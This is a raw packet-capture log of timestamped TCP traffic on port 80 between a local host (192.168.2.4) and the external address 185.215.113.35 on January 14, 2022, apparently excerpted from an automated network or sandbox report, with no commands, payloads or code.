Jan 14, 2022 09:26:04.455960035 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.455977917 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.456294060 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.456306934 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.456630945 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.456648111 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.456969976 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.456984043 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.457324982 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.457341909 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.457655907 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.457669973 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.457989931 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.458008051 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.458369017 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.458384037 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.458678961 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.458695889 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.458998919 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.459012032 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.459331036 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.459347963 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.459693909 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.459708929 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.459923029 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.459939957 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.460130930 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.460144043 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.460350037 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.460366964 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.460550070 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.460563898 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.470879078 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:04.474603891 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.474627972 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.474860907 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.474937916 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.475382090 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.475450993 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.475469112 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.475696087 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.475708008 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.475940943 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.475956917 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.476371050 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.476411104 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.476419926 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.476654053 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.476669073 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.476881981 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.476969004 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.477179050 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.477191925 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.481270075 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:04.482047081 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:04.482194901 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:04.482213020 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:04.482230902 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:04.482249022 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:04.482264996 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:04.482337952 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:04.482355118 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:04.482953072 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:04.484997988 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:04.485269070 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:04.486264944 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:04.487153053 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:04.487170935 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:04.487318993 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:04.487433910 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:04.487463951 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:04.487481117 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:04.487498045 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:04.487515926 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:04.487531900 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:04.487548113 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:04.487561941 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:04.490205050 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:04.490227938 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:04.490962982 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:04.490983963 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:04.491003036 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:04.491170883 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:04.491260052 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:04.505013943 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.505110025 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.505404949 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.505708933 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.505724907 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.505814075 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.506021023 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.506036997 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.506297112 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.506314039 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.506500006 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.506514072 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.506681919 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.506699085 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.506934881 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.506951094 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.507046938 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.507061005 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.507235050 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.507246971 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.507419109 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.507432938 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.507600069 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.507611036 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.507777929 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.507792950 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.507965088 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.507977009 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.508150101 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.508163929 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.508331060 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.508342028 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.508517027 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.508531094 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.508697987 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.508709908 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.508929014 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.508946896 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.509062052 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.509076118 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.509251118 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.509268045 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.509426117 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.509440899 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.509613991 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.509630919 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.509784937 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:04.509800911 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.509800911 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:04.509815931 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.510005951 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.510023117 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.510045052 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:04.510137081 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:04.510255098 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.510313034 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.510322094 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.510328054 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:04.510341883 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:04.510507107 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.510521889 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.510704994 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.510725021 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.510879040 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.510896921 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.511066914 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.511080980 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.511251926 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.511265993 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.511287928 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:04.511410952 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.511547089 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.511564016 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.511859894 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.512032032 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.512088060 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.512276888 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.512294054 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.512478113 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.512491941 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.512660027 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.512676954 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.512849092 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.512865067 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.513050079 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.513084888 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.513114929 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:04.513151884 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:04.513288975 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.513307095 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.513465881 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.513480902 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.513581038 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:04.513598919 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:04.513653040 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.513672113 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.513858080 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.513874054 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.514038086 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.514055014 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.514226913 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.514240026 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.514403105 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.514420986 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.514592886 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.514609098 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.514694929 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:04.514738083 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.514883995 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:04.514904976 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.514923096 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.515031099 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:04.515048981 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:04.515064001 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:04.515081882 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:04.515096903 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:04.515114069 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:04.515130997 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:04.515147924 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:04.515201092 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.515307903 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.515325069 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.515460014 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:04.515476942 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:04.515489101 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.515506983 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.515702963 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.515717983 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.515902996 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:04.516603947 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:04.518290997 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:04.518310070 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:04.519481897 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:04.519503117 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:04.520087957 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:04.520250082 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:04.520591021 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:04.520824909 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:04.520840883 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:04.525861979 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:04.526490927 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:04.537802935 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:04.538758039 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:04.554034948 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.554366112 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.554385900 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.554610014 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.554625034 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.554852009 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.554868937 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.555094004 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.555108070 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.555346012 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.555361986 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.555747986 CET	49915	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.555753946 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.556035042 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.556051970 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.556411028 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.556427002 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.556787968 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.557008028 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.557024002 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.557415009 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.557439089 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.557625055 CET	49918	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.557657003 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.557923079 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.557939053 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.558114052 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.558334112 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.558352947 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.558562994 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.558886051 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.559109926 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.559554100 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.559695959 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.559818029 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.559926033 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.560085058 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.560164928 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.560410023 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.560503960 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.560517073 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.560695887 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.560868025 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.560882092 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.561115980 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.561132908 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.561352968 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.561361074 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.561582088 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.561613083 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.561820030 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.561834097 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.562089920 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.562104940 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.562321901 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.562335014 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.562556028 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.562572956 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.562783957 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.562798977 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.563019037 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.563034058 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.563249111 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.563265085 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.563479900 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.563496113 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.563715935 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.563734055 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.563947916 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.563962936 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.564137936 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.564155102 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.564311981 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.564327002 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.564486027 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.564502954 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.564661026 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.564676046 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.564836025 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.564852953 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.565009117 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.565023899 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.565188885 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.565206051 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.565361023 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.565373898 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.565534115 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.565550089 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.565706968 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.565721989 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.565900087 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.565915108 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.566016912 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:04.568124056 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:04.568420887 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:04.568655014 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:04.568728924 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:04.570024014 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:04.570415020 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:04.570492029 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:04.570657969 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:04.571748018 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:04.572062016 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:04.572220087 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:04.572247028 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:04.572329998 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:04.574821949 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:04.574836969 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:04.575130939 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:04.575144053 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:04.575459957 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:04.575472116 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:04.575607061 CET	80	49891	185.215.113.35	192.168.2.4
